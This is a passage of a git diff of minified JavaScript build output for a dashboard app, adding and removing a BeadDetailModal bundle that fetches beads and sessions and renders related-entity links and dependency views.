",s.census.error,"."]}):a.jsxs("div",{className:"mt-6 space-y-6",children:[a.jsx(E,{}),a.jsxs("div",{className:"space-y-4",children:[a.jsx(O,{census:s.census.data,waitingCount:se(r),failingCount:u}),l!==void 0&&a.jsx(K,{topConcern:l}),a.jsx(P,{rows:d})]})]})]})}function ce(){const e=y(),{data:t,loading:n,error:i}=p(`runs:summary:${e??"no-city"}`,A),s=p(`home:work:${e??"no-city"}`,ie),r=ne(t),o=r?.source.fetchedAt??"pre-snapshot";return t===void 0&&n?a.jsxs("section",{children:[a.jsx(f,{title:"Home",synopsis:null}),a.jsx("p",{className:"mt-6 text-body text-fg-muted",children:"Loading…"})]}):t===void 0&&i!==null?a.jsxs("section",{children:[a.jsx(f,{title:"Home",synopsis:null}),a.jsx("p",{className:"mt-6 text-body text-accent",role:"alert","data-testid":"snapshot-error",children:i})]}):r===null?a.jsxs("section",{children:[a.jsx(f,{title:"Home",synopsis:null}),a.jsx("p",{className:"mt-6 text-body text-accent",role:"alert","data-testid":"runs-source-error",children:"Run data is unavailable."})]}):a.jsx(ae,{fresh:r,cityName:e,cycleKey:o,workInProgress:s.data??{status:"unavailable",source:"work",error:"loading"}})}async function ie(){const e=y();if(e===null)return{status:"unavailable",source:"work",error:"active city unavailable"};try{return{status:"available",value:(await R().cityStatus(e)).work.in_progress}}catch(t){return{status:"unavailable",source:"work",error:t instanceof Error?t.message:"work unavailable"}}}export{ce as AmbientHomePage};
diff --git a/internal/api/dashboardspa/dist/assets/BeadDetailModal-BKOlUSQL.js b/internal/api/dashboardspa/dist/assets/BeadDetailModal-BKOlUSQL.js
new file mode 100644
index 0000000000..a103168a98
--- /dev/null
+++ b/internal/api/dashboardspa/dist/assets/BeadDetailModal-BKOlUSQL.js
@@ -0,0 +1 @@
+import{r as h,u as H,a0 as K,a1 as O,J as V,I as E,a2 as q,z as W,j as n,S as Y,a3 as Z,L as J,B as X}from"./index-BFDP6Xwd.js";import{f as Q}from"./format-fte2CeYD.js";import{F as x}from"./Field-BpdGqWpv.js";import{a as P,L as ee}from"./LiveSessionPeek-Cjv3DcC3.js";import{M as U}from"./constants-DOaI3lZl.js";import{f as D}from"./time-D9v0saHV.js";function te(e,t){if(e.length===0||t.length===0)return null;const s=t.filter(r=>r.state==="active");return F(e,s)??F(e,t)}function F(e,t){for(const s of t)if(se(s,e))return s;return null}function se(e,t){return e.alias===t||e.pool===t||e.alias!==void 0&&A(e.alias,["/","."])===t||e.session_name!==void 0&&A(e.session_name,["__","--"])===t}function A(e,t){let s=-1,r=0;for(const i of t){const l=e.lastIndexOf(i);l>s&&(s=l,r=i.length)}return s<0?e:e.slice(s+r)}const ne=/^[A-Za-z0-9][A-Za-z0-9_.-]{0,63}$/;function re(e,t,s){return`${e}:${s}:${t}`}function b(e,t,s){e?.(t,s)}const ie=/^pr\/(\d{1,9})$/,le=/^issue\/(\d{1,9})$/;function oe(e){const t=e.trim();if(t.length===0)return{ok:!1,error:"empty ref"};const s=ie.exec(t);if(s?.[1])return{ok:!0,type:"github_pr",value:s[1]};const r=le.exec(t);return r?.[1]?{ok:!0,type:"github_issue",value:r[1]}:ne.test(t)?{ok:!0,type:"bead",value:t}:{ok:!1,error:"unrecognised ref"}}function M(e){if(typeof e!="string")return null;const t=e.trim();return/^https?:\/\//i.test(t)?t:null}function v(e,t,s){return re(e,t,s)}function ae(e){return{key:v("bead",e.id,e.scope),type:"bead",ref:e.id}}function _(e,t){const s=e.stats.get(t);if(s)return s;const r={relation:t,resolved:0,unresolved:0,nCandidates:0};return e.stats.set(t,r),r}function y(e,t){e.nodesByKey.has(t.key)||(e.nodesByKey.set(t.key,t),e.view.nodes.push(t))}function k(e,t,s,r,i,l){e.view.edges.push({from:t,to:s,relation:r,provenance:i,resolved:l})}function N(e,t,s,r,i){const l=ae(s);y(e,{...l,title:s.title,status:s.status,url:null,fetchedAt:i,unresolved:!1}),k(e,t,l.key,r,"supervisor",!0),_(e,r).resolved+=1,b(e.recorder,r,"resolved")}function ue(e,t){return{focus:e,nodes:[],edges:[],stats:[],partial:!1,generatedAt:t,asOf:null}}function $(e,t){return e===null?t:t===null||Date.parse(e)<=Date.parse(t)?e:t}function ce(e,t,s={}){const i=(s.now??(()=>new Date))().toISOString(),l=s.supervisorFetchedAt??null,u=s.githubFetchedAt??null,a=de(e,t),o=ue(a.focus,i);o.partial=s.partial??!1;const c={view:o,nodesByKey:new Map,stats:new Map,recorder:s.recorder??(()=>{})};if(y(c,a.focusNode),!a.focusResolved)return o.partial=!0,L(c,l,u),o;const f=a.focusNode.key;if(a.beadFocus)for(const m of a.beads)pe(c,m,f,e,l,u);else for(const m of a.beads)N(c,f,m,"bead",l);return L(c,l,u),o}function de(e,t){if(t.type==="github_pr"||t.type==="github_issue"){const u=t.type==="github_pr"?"github_pr":"github_issue",a=t.type==="github_pr"?`pr/${t.value}`:`issue/${t.value}`,c=(t.type==="github_pr"?e.beadsForPr.get(t.value)??[]:e.beadsForIssue.get(t.value)??[]).map(m=>e.beads.get(m)).filter(m=>m!==void 0),f={key:v(u,t.value,"github"),type:u,ref:a};return{focus:f,focusNode:{...f,title:null,status:null,url:null,fetchedAt:null,unresolved:c.length===0,...c.length>1?{candidateCount:c.length}:{}},beads:c,focusResolved:c.length>0,beadFocus:!1}}const s=e.beads.get(t.value)??e.allBeads.get(t.value);if(s!==void 0){const u=fe(s);return{focus:u,focusNode:{...u,title:s.title,status:s.status,url:null,fetchedAt:null,unresolved:!1},beads:s.superseded?[]:[s],focusResolved:!0,beadFocus:!0}}const r=e.beadsForSession.get(t.value)??[],i=e.sessions.has(t.value);if(r.length>0||i){const u={key:v("session",t.value,"session"),type:"session",ref:t.value},a=r.map(c=>e.beads.get(c)).filter(c=>c!==void 0),o=i||a.length>0;return{focus:u,focusNode:{...u,title:e.sessions.get(t.value)?.title??null,status:e.sessions.get(t.value)?.state??null,url:null,fetchedAt:null,unresolved:!o},beads:a,focusResolved:o,beadFocus:!1}}const l={key:v("bead",t.value,"unknown"),type:"bead",ref:t.value};return{focus:l,focusNode:{...l,title:null,status:null,url:null,fetchedAt:null,unresolved:!0},beads:[],focusResolved:!1,beadFocus:!0}}function fe(e){return{key:v("bead",e.id,e.scope),type:"bead",ref:e.id}}function pe(e,t,s,r,i,l){if(t.parentBeadId){const a=r.beads.get(t.parentBeadId);a?N(e,s,a,"parent",i):me(e,s,t.parentBeadId,"parent")}const u=(r.childrenOf.get(t.id)??[]).filter(a=>a!==t.id);for(const a of u){const o=r.beads.get(a);o&&N(e,s,o,"child",i)}if(t.moleculeId){const a=(r.membersOfMolecule.get(t.moleculeId)??[]).filter(o=>o!==t.id&&o!==t.moleculeId);if(t.moleculeId!==t.id){const o=r.beads.get(t.moleculeId);o&&N(e,s,o,"molecule",i)}for(const o of a){const c=r.beads.get(o);c&&N(e,s,c,"molecule",i)}}if(t.prNumber&&B(e,s,"github_pr",`pr/${t.prNumber}`,t.prNumber,M(t.prUrl),"pr","supervisor",l),t.issueNumber&&B(e,s,"github_issue",`issue/${t.issueNumber}`,t.issueNumber,M(t.issueUrl),"issue","supervisor",l),t.sessionId){const a=r.sessions.get(t.sessionId),o={key:v("session",t.sessionId,"session"),type:"session",ref:t.sessionId};a?(y(e,{...o,title:a.title??a.alias??t.sessionName??null,status:a.state??null,url:null,fetchedAt:i,unresolved:!1}),k(e,s,o.key,"session","supervisor",!0),_(e,"session").resolved+=1,b(e.recorder,"session","resolved")):(y(e,{...o,title:t.sessionName??null,status:null,url:null,fetchedAt:i,unresolved:!0}),k(e,s,o.key,"session","supervisor",!1),_(e,"session").unresolved+=1,b(e.recorder,"session","unresolved"))}}function B(e,t,s,r,i,l,u,a,o){const c=v(s,i,"github");y(e,{key:c,type:s,ref:r,title:null,status:null,url:l,fetchedAt:o,unresolved:!0}),k(e,t,c,u,a,!1),_(e,u).unresolved+=1,b(e.recorder,u,"unresolved")}function me(e,t,s,r){const i=v("bead",s,"unknown");y(e,{key:i,type:"bead",ref:s,title:null,status:null,url:null,fetchedAt:null,unresolved:!0}),k(e,t,i,r,"supervisor",!1),_(e,r).unresolved+=1,b(e.recorder,r,"unresolved")}function L(e,t,s){e.view.stats=[...e.stats.values()].sort((i,l)=>i.relation.localeCompare(l.relation));let r=null;for(const i of e.view.nodes)r=$(r,i.fetchedAt);e.view.asOf=r??$(t,s)}function p(e,t){const s=e.metadata?.[t];if(typeof s=="string"){const r=s.trim();return r.length>0?r:void 0}if(typeof s=="number"&&Number.isFinite(s))return String(s)}function he(e,t){const s=e.metadata?.[t];if(typeof s=="number"&&Number.isInteger(s)&&s>=0)return s;if(typeof s=="string"&&/^\d+$/.test(s.trim()))return Number.parseInt(s.trim(),10)}const ge=["gc.scope_ref","scope_ref","scope_id"],xe=["gc.scope_kind","scope_kind"];function ve(e,t){let s;for(const i of ge){const l=p(e,i);if(l!==void 0){s=l;break}}let r;for(const i of xe){const l=p(e,i);if(l!==void 0){r=l;break}}return s===void 0?`city:${t}`:`${r??"rig"}:${s}`}const ye=/^github-pr:[^/]+\/[^/]+\/(\d+)$/,je=/\/(?:pull\/)?(\d+)(?:[/?#]|$)/;function Ne(e){const t=p(e,"evidence.pr_url"),s=p(e,"evidence.pr_number"),r=p(e,"evidence.artifact_path"),i=p(e,"pr_review.pr_number"),l=p(e,"pr_review.pr_url"),u=r?.match(ye),a=t?.match(je),o=s??u?.[1]??a?.[1]??i??void 0,c=t??l??void 0,f={};return o!==void 0&&(f.prNumber=o),c!==void 0&&(f.prUrl=c),f}function be(e,t){const{prNumber:s,prUrl:r}=Ne(e),i={id:e.id,title:e.title,status:e.status,scope:ve(e,t),superseded:!1},l={parentBeadId:p(e,"gc.parent_bead_id"),rootBeadId:p(e,"gc.root_bead_id"),moleculeId:p(e,"molecule_id"),prNumber:s,prUrl:r,issueNumber:p(e,"bugflow.github_issue_number")??p(e,"design_review.github_issue_number"),issueUrl:p(e,"bugflow.github_issue_url")??p(e,"design_review.github_issue_url"),sessionId:p(e,"session_id"),sessionName:p(e,"session_name"),stepId:p(e,"gc.step_id"),attempt:he(e,"gc.attempt")};for(const[u,a]of Object.entries(l))a!==void 0&&Object.assign(i,{[u]:a});return i}function T(e){return`${e.moleculeId}\0${e.stepId}`}function _e(e){const t=new Map;for(const s of e){if(s.moleculeId===void 0||s.stepId===void 0||s.attempt===void 0)continue;const r=T(s),i=t.get(r);(i===void 0||s.attempt>i)&&t.set(r,s.attempt)}for(const s of e){if(s.moleculeId===void 0||s.stepId===void 0||s.attempt===void 0)continue;const r=t.get(T(s));r!==void 0&&s.attempt<r&&(s.superseded=!0)}}function j(e,t,s){const r=e.get(t);r?r.push(s):e.set(t,[s])}function ke(e,t,s){const r=e.map(d=>be(d,s));_e(r);const i=new Map,l=new Map,u=new Map,a=new Map,o=new Map,c=new Map,f=new Map;for(const d of r)i.set(d.id,d),!d.superseded&&(l.set(d.id,d),d.parentBeadId&&j(u,d.parentBeadId,d.id),d.moleculeId&&j(a,d.moleculeId,d.id),d.prNumber&&j(o,d.prNumber,d.id),d.issueNumber&&j(c,d.issueNumber,d.id),d.sessionId&&j(f,d.sessionId,d.id));const m=new Map;for(const d of t)m.set(d.id,d);return{beads:l,allBeads:i,childrenOf:u,membersOfMolecule:a,beadsForPr:o,beadsForIssue:c,beadsForSession:f,sessions:m}}function we(e,t,s=null){const[r,i]=h.useState(s),[l,u]=h.useState(!1),[a,o]=h.useState(null),[c,f]=h.useState(!1),m=H();return h.useEffect(()=>{if(!e||!t)return;if(s&&s.id===t&&s.description!==void 0){i(s),o(null),f(!1);return}i(s?.id===t?s:null),u(!0),o(null),f(!1);let d=!1;return(async()=>{try{const g=await K(t);d||i(g)}catch(g){if(d)return;g instanceof O&&g.status===404?f(!0):o(Se(g))}finally{d||u(!1)}})(),()=>{d=!0}},[e,t,s]),{bead:r,loading:l,error:a,notFound:c,now:m}}function Se(e){return e instanceof O?e.status===void 0?e.message:`${e.status} ${e.message}`:e instanceof Error?e.message:"fetch failed"}function Ie(e){return e.partial===!0||(e.partial_errors?.length??0)>0||(e.next_cursor?.length??0)>0}function Re(e,t){return Ie(e)||typeof e.total=="number"&&e.total>t}const Ee=1e3;async function Fe(e){const t=oe(e);if(!t.ok)throw new Error(t.error);const s=V("load supervisor entity links"),r=new Date().toISOString(),i=await E().listBeads(s,{limit:Ee}),l=Ae(i.items??[]);let u=Re(i,l.length),a=[];try{const c=await E().listSessions(s);a=q(c),u||=$e(c)}catch{u=!0}const o=ke(l,a,s);return ce(o,t,{partial:u,supervisorFetchedAt:r,githubFetchedAt:null})}function Ae(e){return e.map(Me)}function Me(e){const t={id:e.id,title:e.title,status:e.status,issue_type:e.issue_type,priority:e.priority??null,created_at:e.created_at};return e.description!==void 0&&(t.description=e.description),e.assignee!==void 0&&(t.assignee=e.assignee),Array.isArray(e.labels)&&(t.labels=e.labels),e.metadata!==void 0&&(t.metadata=e.metadata),e.ref!==void 0&&(t.ref=e.ref),e.parent!==void 0&&(t.parent=e.parent),e.from!==void 0&&(t.from=e.from),e.ephemeral!==void 0&&(t.ephemeral=e.ephemeral),e.needs!==void 0&&(t.needs=e.needs),e.dependencies!==void 0&&(t.dependencies=e.dependencies),e.updated_at!==void 0&&(t.updated_at=e.updated_at),t}function $e(e){return e.partial===!0||(e.partial_errors?.length??0)>0}function Be(e){const[t,s]=h.useState(null),[r,i]=h.useState(!1),[l,u]=h.useState(null);return h.useEffect(()=>{if(e===null||e.length===0){s(null),u(null),i(!1);return}let a=!1;return i(!0),u(null),(async()=>{try{const o=await Fe(e);a||s(o)}catch(o){if(a)return;u(W(o,"related entities failed")),s(null)}finally{a||i(!1)}})(),()=>{a=!0}},[e]),{view:t,loading:r,error:l}}function Le(e){const t=e.metadata;if(!t)return{};const s={};return t["gc.kind"]&&(s.kind=t["gc.kind"]),t["gc.source_bead_id"]&&(s.originBeadId=t["gc.source_bead_id"]),t["gc.formula_contract"]&&(s.formulaContract=t["gc.formula_contract"]),t["gc.run_target"]?s.runTarget=t["gc.run_target"]:t["gc.routed_to"]&&(s.runTarget=t["gc.routed_to"]),s}function Te(e,t){return t.kind==="run"?"template":e.issue_type==="molecule"?"wisp":"work"}function Ce({bead:e}){const t=Le(e),s=Te(e,t);return n.jsxs("div",{className:"space-y-8",children:[s==="template"&&n.jsxs("section",{children:[n.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-faint mb-3",children:"Formula template"}),n.jsxs("p",{className:"text-body text-fg-muted max-w-prose",children:["This bead is a recipe, not actionable work. Every"," ",e.ref?n.jsx("code",{className:"text-fg-muted",children:e.ref}):"wisp"," instance is instantiated from this template. The ",n.jsx("span",{className:"text-fg-muted",children:"in_progress"})," ","status is the gc-system convention for ",'"',"available for instantiation",'"'," — do not act on it, nudge it, or close it."]})]}),s==="wisp"&&n.jsxs("section",{children:[n.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-faint mb-3",children:"Formula instance"}),n.jsxs("p",{className:"text-body text-fg-muted max-w-prose",children:["One run of the"," ",e.title?n.jsx("code",{className:"text-fg-muted",children:e.title}):"formula"," recipe."]})]}),n.jsxs("dl",{className:"grid grid-cols-2 sm:grid-cols-4 gap-x-8 gap-y-5",children:[n.jsx(x,{label:"Status",children:n.jsx(Y,{tone:Z(e.status),label:e.status})}),n.jsx(x,{label:"Type",children:e.issue_type}),n.jsx(x,{label:"Assignee",children:e.assignee||"·"}),n.jsx(x,{label:"Created",children:n.jsx("span",{className:"tnum",children:Q(e.created_at)})})]}),s==="template"&&(t.formulaContract||t.originBeadId||t.runTarget)&&n.jsxs("section",{children:[n.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-faint mb-3",children:"Template origin"}),n.jsx("p",{className:"text-body text-fg-muted max-w-prose mb-4",children:"Where this formula came from, kept for traceability. The origin bead and target may be stale; the formula itself is now used wherever the pool dispatches it."}),n.jsxs("dl",{className:"grid grid-cols-2 sm:grid-cols-3 gap-x-8 gap-y-3",children:[t.formulaContract&&n.jsx(x,{label:"Contract",children:n.jsx("code",{className:"text-fg-muted",children:t.formulaContract})}),e.ref&&n.jsx(x,{label:"Ref",children:n.jsx("code",{className:"text-fg-muted",children:e.ref})}),t.originBeadId&&n.jsx(x,{label:"Origin bead",children:n.jsx("code",{className:"text-fg-muted",children:t.originBeadId})}),t.runTarget&&n.jsx(x,{label:"Origin target",children:n.jsx("span",{className:"text-fg-muted truncate",title:t.runTarget,children:t.runTarget})})]})]}),Array.isArray(e.labels)&&e.labels.length>0&&n.jsxs("section",{children:[n.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-faint mb-3",children:"Labels"}),n.jsx("div",{className:"flex flex-wrap gap-x-3 gap-y-1",children:e.labels.map(r=>n.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:r},r))})]}),n.jsxs("section",{children:[n.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-faint mb-3",children:s==="template"?"Recipe":"Description"}),e.description&&e.description.length>0?n.jsx("pre",{className:"text-body whitespace-pre-wrap leading-relaxed text-fg font-sans",children:e.description}):n.jsx("p",{className:"text-body text-fg-muted italic",children:"No description."})]})]})}function Oe({node:e,onOpenBead:t}){const{deps:s,blocks:r}=e,i=s.length>0||r.length>0;return n.jsxs("section",{children:[n.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-faint mb-3",children:"Dependencies"}),i?n.jsxs("div",{className:"space-y-6",children:[s.length>0&&n.jsxs("div",{children:[n.jsxs("p",{className:"text-label uppercase tracking-wider text-fg-muted mb-2",children:["Needs ",n.jsx("span",{className:"tnum",children:s.length})]}),n.jsx("ul",{className:"space-y-1",children:s.map(l=>n.jsx(C,{relation:l.kind==="needs"?null:l.kind,targetId:l.id,targetTitle:l.bead?.title??null,...l.bead&&t?{onOpenBead:t}:{}},`needs-${l.id}`))})]}),r.length>0&&n.jsxs("div",{children:[n.jsxs("p",{className:"text-label uppercase tracking-wider text-fg-muted mb-2",children:["Blocks ",n.jsx("span",{className:"tnum",children:r.length})]}),n.jsx("ul",{className:"space-y-1",children:r.map(l=>n.jsx(C,{relation:null,targetId:l.id,targetTitle:l.title,...t?{onOpenBead:t}:{}},`blocks-${l.id}`))})]})]}):n.jsx("p",{className:"text-body text-fg-muted italic",children:"No dependencies."})]})}function C({relation:e,targetId:t,targetTitle:s,onOpenBead:r}){const i=n.jsxs(n.Fragment,{children:[e&&n.jsxs("span",{className:"text-label uppercase tracking-wider text-fg-faint",children:[e," "]}),n.jsx("span",{className:"tnum text-fg-muted",children:t}),s&&n.jsxs("span",{className:"text-fg",children:[" · ",s]})]});return n.jsx("li",{className:"text-body leading-snug",children:r?n.jsx("button",{type:"button",onClick:()=>r(t),className:"text-left text-fg-muted hover:text-fg focus-mark rounded-sm",title:`Open ${t}`,children:i}):n.jsxs("span",{title:"Outside the fetched window",children:[i," ",n.jsx("span",{className:"text-warn text-label uppercase tracking-wider",children:"unresolved"})]})})}function Pe({open:e,onClose:t,session:s,beadTitle:r}){const i=P(s);return n.jsx(U,{open:e,onClose:t,title:r,caption:s===null?"No live session resolved for this bead.":i?"Live transcript from the supervisor's session stream.":"Snapshot from the supervisor's transcript API.",widthClass:"max-w-5xl",children:n.jsx(ee,{sessionId:s?.id??null,stream:i,showBadge:!0,showCaption:!0})})}const Ue=6,De=3600*1e3,ze=3,Ge=["bead","formula_run","session","github_pr","github_issue","order_run"],He={bead:"Beads",session:"Sessions",github_pr:"Pull requests",github_issue:"Issues",formula_run:"Formula runs",order_run:"Order runs"};function Ke({view:e,loading:t,error:s,now:r,onOpenBead:i}){const[l,u]=h.useState(!1),a=h.useMemo(()=>Xe(e),[e]),o=h.useMemo(()=>Je(e),[e]),c=o.unresolved>=ze;return n.jsxs("section",{className:"mt-12",children:[n.jsxs("header",{className:"flex items-baseline justify-between mb-4 gap-3",children:[n.jsx("h2",{className:"text-label uppercase tracking-wider text-fg-faint",children:"Related"}),n.jsxs("div",{className:"flex items-baseline gap-3 min-w-0",children:[e&&e.asOf&&n.jsxs("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum shrink-0",children:["as of ",D(e.asOf,r)]}),n.jsx(Ve,{loading:t,counts:o,showMark:c})]})]}),s!==null?n.jsx("p",{className:"text-body text-accent",role:"alert",children:s}):t&&e===null?n.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading related entities."}):e===null||a.length===0?n.jsx("p",{className:"text-body text-fg-muted italic",children:"No related entities."}):n.jsxs(n.Fragment,{children:[e.partial&&n.jsx("p",{className:"text-label uppercase tracking-wider text-warn mb-4",role:"status",children:"Partial: some sources did not load. Links may be incomplete."}),n.jsx("button",{type:"button",onClick:()=>u(f=>!f),className:"text-label uppercase tracking-wider text-fg-faint hover:text-fg focus-mark mb-4","aria-expanded":l,children:l?"Hide detail":"Show detail"}),l&&n.jsx("div",{className:"space-y-8",children:a.map(f=>n.jsx(qe,{type:f.type,rows:f.rows,now:r,...i!==void 0?{onOpenBead:i}:{}},f.type))})]})]})}function Ve({loading:e,counts:t,showMark:s}){if(e)return n.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint",children:"·"});const r=[];t.resolved>0&&r.push(`${t.resolved} resolved`),t.unresolved>0&&r.push(`${t.unresolved} unresolved`),t.candidates>0&&r.push(`${t.candidates} candidates`);const i=r.length>0?r.join(", "):"none";return n.jsxs("span",{className:`text-label uppercase tracking-wider tnum truncate ${s?"text-accent":"text-fg-faint"}`,children:[s&&n.jsx("span",{"aria-hidden":!0,children:"■ "}),i]})}function qe({type:e,rows:t,now:s,onOpenBead:r}){const i=t.slice(0,Ue),l=t.length-i.length;return n.jsxs("div",{children:[n.jsxs("header",{className:"flex items-baseline justify-between mb-2",children:[n.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-faint",children:He[e]}),n.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:t.length})]}),n.jsx("ul",{className:"space-y-2",children:i.map(u=>n.jsx(We,{row:u,now:s,...r!==void 0?{onOpenBead:r}:{}},`${u.relation}\0${u.node.key}`))}),l>0&&n.jsxs("p",{className:"text-label uppercase tracking-wider text-fg-faint mt-2",children:["+ ",l," more"]})]})}function We({row:e,now:t,onOpenBead:s}){const{node:r,relation:i}=e,l=Qe(r.fetchedAt,t),u=r.title??r.ref,a=r.unresolved||l;return n.jsxs("li",{className:"flex items-baseline gap-3 min-w-0",children:[n.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint shrink-0 w-20 truncate",children:i}),n.jsx("span",{className:"min-w-0 flex-1 truncate",children:n.jsx(Ye,{node:r,label:u,dimmed:a,...s!==void 0?{onOpenBead:s}:{}})}),n.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum shrink-0",children:r.unresolved?Ze(r):r.fetchedAt?D(r.fetchedAt,t):r.status??"·"})]})}function Ye({node:e,label:t,dimmed:s,onOpenBead:r}){const i=`text-body text-left truncate min-w-0 focus-mark ${s?"text-fg-muted":"text-fg hover:text-accent"}`;return e.type==="bead"&&!e.unresolved&&r?n.jsx("button",{type:"button",onClick:()=>r(e.ref),className:i,title:`Open ${e.ref}`,children:t}):e.type==="session"&&!e.unresolved?n.jsx(J,{to:`/agents/${encodeURIComponent(e.ref)}`,className:i,children:t}):e.url?n.jsxs("a",{href:e.url,target:"_blank",rel:"noreferrer noopener",className:i,title:e.url,children:[t," ",n.jsx("span",{"aria-hidden":!0,children:"↗"})]}):n.jsx("span",{className:i,children:t})}function Ze(e){return e.candidateCount!==void 0&&e.candidateCount>1?`${e.candidateCount} candidates`:"unresolved"}function Je(e){const t={resolved:0,unresolved:0,candidates:0};if(e===null)return t;for(const s of e.nodes)s.key!==e.focus.key&&(s.candidateCount!==void 0&&s.candidateCount>1?t.candidates+=1:s.unresolved?t.unresolved+=1:t.resolved+=1);return t}function Xe(e){if(e===null)return[];const t=new Map;for(const i of e.nodes)t.set(i.key,i);const s=new Map;for(const i of e.edges){if(i.from!==e.focus.key)continue;const l=t.get(i.to);if(l===void 0)continue;const u=s.get(l.type)??[];u.push({node:l,relation:i.relation}),s.set(l.type,u)}const r=[];for(const i of Ge){const l=s.get(i);l&&l.length>0&&(l.sort((u,a)=>Number(u.node.unresolved)-Number(a.node.unresolved)),r.push({type:i,rows:l}))}return r}function Qe(e,t){if(e===null)return!1;const s=Date.parse(e);return Number.isFinite(s)?t-s>De:!1}function lt({open:e,onClose:t,beadId:s,initialBead:r=null,onOpenBead:i,depNode:l=null,sessions:u,renderActions:a}){const{bead:o,loading:c,error:f,notFound:m,now:d}=we(e,s,r),g=Be(e?s:null),[z,w]=h.useState(!1),S=o&&u&&o.assignee&&o.assignee.length>0?te(o.assignee,u):null,I=P(S),R=o?a?.(o):void 0,G=R||I?n.jsxs(n.Fragment,{children:[R,I&&n.jsx(X,{size:"sm",tone:"quiet",onClick:()=>w(!0),children:"View live run"})]}):void 0;return n.jsxs(n.Fragment,{children:[n.jsx(U,{open:e,onClose:t,title:o?.title??s??"Bead",caption:o?n.jsxs("span",{children:[n.jsx("code",{className:"text-fg-muted",children:o.id})," · ",o.issue_type," · P",o.priority==null?"—":o.priority]}):s?n.jsx("code",{className:"text-fg-muted",children:s}):void 0,widthClass:"max-w-3xl",footer:G,children:m?n.jsxs("div",{className:"space-y-2",children:[n.jsx("p",{className:"text-fg-muted",children:"This decision was resolved or removed."}),n.jsx("p",{className:"text-fg-faint text-sm",children:"The bead it pointed to is no longer in the supervisor — it was likely closed or pruned since this link was surfaced."})]}):f?n.jsx("p",{className:"text-accent",role:"alert",children:f}):c&&o===null?n.jsx("p",{className:"text-fg-muted italic",children:"Fetching bead."}):o===null?n.jsx("p",{className:"text-fg-muted italic",children:"No bead."}):n.jsxs("div",{className:"space-y-8",children:[n.jsx(Ce,{bead:o}),l&&n.jsx(Oe,{node:l,...i!==void 0?{onOpenBead:i}:{}}),n.jsx(Ke,{view:g.view,loading:g.loading,error:g.error,now:d,...i!==void 0?{onOpenBead:i}:{}})]})}),o&&n.jsx(Pe,{open:z,onClose:()=>w(!1),session:S,beadTitle:o.title})]})}export{lt as B,Ke as R,Be as u};
diff --git a/internal/api/dashboardspa/dist/assets/BeadDetailModal-sFRcKk2v.js b/internal/api/dashboardspa/dist/assets/BeadDetailModal-sFRcKk2v.js
deleted file mode 100644
index f8b28e5b1d..0000000000
--- a/internal/api/dashboardspa/dist/assets/BeadDetailModal-sFRcKk2v.js
+++ /dev/null
@@ -1 +0,0 @@
-import{r as g,u as z,ae as G,aa as T,K,J as E,af as H,a9 as V,z as q,j as n,S as W,ag as Y,L as Z,ah as J,B as X}from"./index-fZITW1u7.js";import{f as Q}from"./format-fte2CeYD.js";import{F as x}from"./Field-n7F8BpXe.js";import{a as C,L as ee}from"./LiveSessionPeek-BIw38Xn5.js";import{M as O}from"./constants-D2ZRoVbf.js";import{f as P}from"./time-D9v0saHV.js";const te=/^[A-Za-z0-9][A-Za-z0-9_.-]{0,63}$/;function se(e,t,s){return`${e}:${s}:${t}`}function b(e,t,s){e?.(t,s)}const ne=/^pr\/(\d{1,9})$/,re=/^issue\/(\d{1,9})$/;function ie(e){const t=e.trim();if(t.length===0)return{ok:!1,error:"empty ref"};const s=ne.exec(t);if(s?.[1])return{ok:!0,type:"github_pr",value:s[1]};const r=re.exec(t);return r?.[1]?{ok:!0,type:"github_issue",value:r[1]}:te.test(t)?{ok:!0,type:"bead",value:t}:{ok:!1,error:"unrecognised ref"}}function F(e){if(typeof e!="string")return null;const t=e.trim();return/^https?:\/\//i.test(t)?t:null}function v(e,t,s){return se(e,t,s)}function le(e){return{key:v("bead",e.id,e.scope),type:"bead",ref:e.id}}function _(e,t){const s=e.stats.get(t);if(s)return s;const r={relation:t,resolved:0,unresolved:0,nCandidates:0};return e.stats.set(t,r),r}function y(e,t){e.nodesByKey.has(t.key)||(e.nodesByKey.set(t.key,t),e.view.nodes.push(t))}function k(e,t,s,r,i,l){e.view.edges.push({from:t,to:s,relation:r,provenance:i,resolved:l})}function N(e,t,s,r,i){const l=le(s);y(e,{...l,title:s.title,status:s.status,url:null,fetchedAt:i,unresolved:!1}),k(e,t,l.key,r,"supervisor",!0),_(e,r).resolved+=1,b(e.recorder,r,"resolved")}function oe(e,t){return{focus:e,nodes:[],edges:[],stats:[],partial:!1,generatedAt:t,asOf:null}}function A(e,t){return e===null?t:t===null||Date.parse(e)<=Date.parse(t)?e:t}function ae(e,t,s={}){const i=(s.now??(()=>new Date))().toISOString(),l=s.supervisorFetchedAt??null,u=s.githubFetchedAt??null,a=ue(e,t),o=oe(a.focus,i);o.partial=s.partial??!1;const c={view:o,nodesByKey:new Map,stats:new Map,recorder:s.recorder??(()=>{})};if(y(c,a.focusNode),!a.focusResolved)return o.partial=!0,$(c,l,u),o;const f=a.focusNode.key;if(a.beadFocus)for(const m of a.beads)de(c,m,f,e,l,u);else for(const m of a.beads)N(c,f,m,"bead",l);return $(c,l,u),o}function ue(e,t){if(t.type==="github_pr"||t.type==="github_issue"){const u=t.type==="github_pr"?"github_pr":"github_issue",a=t.type==="github_pr"?`pr/${t.value}`:`issue/${t.value}`,c=(t.type==="github_pr"?e.beadsForPr.get(t.value)??[]:e.beadsForIssue.get(t.value)??[]).map(m=>e.beads.get(m)).filter(m=>m!==void 0),f={key:v(u,t.value,"github"),type:u,ref:a};return{focus:f,focusNode:{...f,title:null,status:null,url:null,fetchedAt:null,unresolved:c.length===0,...c.length>1?{candidateCount:c.length}:{}},beads:c,focusResolved:c.length>0,beadFocus:!1}}const s=e.beads.get(t.value)??e.allBeads.get(t.value);if(s!==void 0){const 